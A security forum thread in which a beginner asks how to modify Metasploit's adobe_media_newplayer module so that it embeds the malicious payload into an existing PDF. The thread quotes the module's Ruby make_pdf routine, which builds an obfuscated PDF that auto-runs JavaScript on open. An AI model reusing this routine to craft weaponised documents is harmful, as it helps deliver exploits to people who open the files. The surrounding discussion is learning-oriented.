MSF : My first exploit

[aemaeth]

Hi,

This is my first post, so apologize for my english (i'm french).
I discovered Backtrack about a year ago, and used it principally for WEP and WPA cracking techniques learning. Recently, I discovered this powerful tool called MSF. Beginning reading docs, tutos and testing on my own (and getting Ruby development basis, my background is more Java), I'm quite interested in PDF exploit because in my opinion, they are very dangerous (popular exchange format).

This make me interested in recent adobe_media_newplayer exploit.
I think I understand basically how it works, but I questioned myself on how will it be possible to fill up the PDF (instead of getting an empty one). This example may allow me to learn deeply ruby, with file editing, and adapt an exploit to my needs.

End up with the introduction, and let's go for my problem :

My first idea was to give an input PDF file, and to add it the exploit.
So I studied this part of the adobe_media_newplayer.rb :

def make_pdf(js)

		xref = []
		eol = "\x0d\x0a"
		endobj = "endobj" << eol

		pdf = "%PDF-1.5" << eol
		pdf << "%" << RandomNonASCIIString(4) << eol
		xref << pdf.length
		pdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/OpenAction ") << ioRef(5) << ">>" << endobj
		xref << pdf.length
		pdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj
		xref << pdf.length
		pdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj
		xref << pdf.length
		pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj
		xref << pdf.length
		pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << endobj
		xref << pdf.length
		compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
		pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
		pdf << "stream" << eol
		pdf << compressed << eol
		pdf << "endstream" << eol
		pdf << endobj
		xrefPosition = pdf.length
		pdf << "xref" << eol
		pdf << "0 %d" % (xref.length + 1) << eol
		pdf << "0000000000 65535 f" << eol
		xref.each do |index|
			pdf << "%010d 00000 n" % index << eol
		end
		pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol
		pdf << "startxref" << eol
		pdf << xrefPosition.to_s() << eol
		pdf << "%%EOF" << eol

	end

To help me, I found another PDF exploit, that adds up a payload to an already crafted pdf file : adobe_pdf_embedded_exe.rb.

So here is my questions :

1. Is that possible and wouldn't it be better to rewrite the part presented above using Msf::Exploit::PDF_Parse to craft the file ?

2. If so, is there a place where I can find some documentation about Msf::Exploit::PDF_Parse ? I'm already reading deeper the pdf format specifications but I have some trouble understanding all of this.

3. May someone help me understanding (basically) what does this method do ? My ruby basis aren't sufficient I think :/
def basic_social_engineering_exploit(xref_trailers,roo t_obj,stream,trailers,file_name,exe_name,startxref ) in adobe_pdf_embedded_exe.rb

4. Last but not least, do I go in the right way ?

See you !

[lupin]

You might be better off asking these questions direct to the Metasploit Devs.

From what I can tell after looking at this for about two minutes, PDF_Parse is used to Parse an existing PDF file, not to create a new one. The code you reproduced above is probably a good way to create a new PDF (since HDM was involved in writing that sploit Im assuming that this is the correct way to go about it ).

[Pwnsauce]

spool.metasploit.com Mailing Lists

you can join this mail list. Hd,joshua or carlos r helping to others very quickly.

[aemaeth]

Thank you very much for your quick and precise answers (I was thinking my post would never be "posted" ).
I'll ask directly Metasploit Devs.

[thorin]

Didier Stevens has done a lot of work with PDF exploits in the past, you might find something helpful on his blog.

[aemaeth]

Well, thank you for this. His blog gave me some search directions
All your advices gave me my answer :
1- Learn more about PDF format
2- Increase my Ruby skills

3- Try harder

Thank you all !

edit : Done ! The new exploit works correctly on pdf that aren't too complicated (encryption, etc...). I posted it using MSF's mailing list to see if the code can be cleaned, but it works though.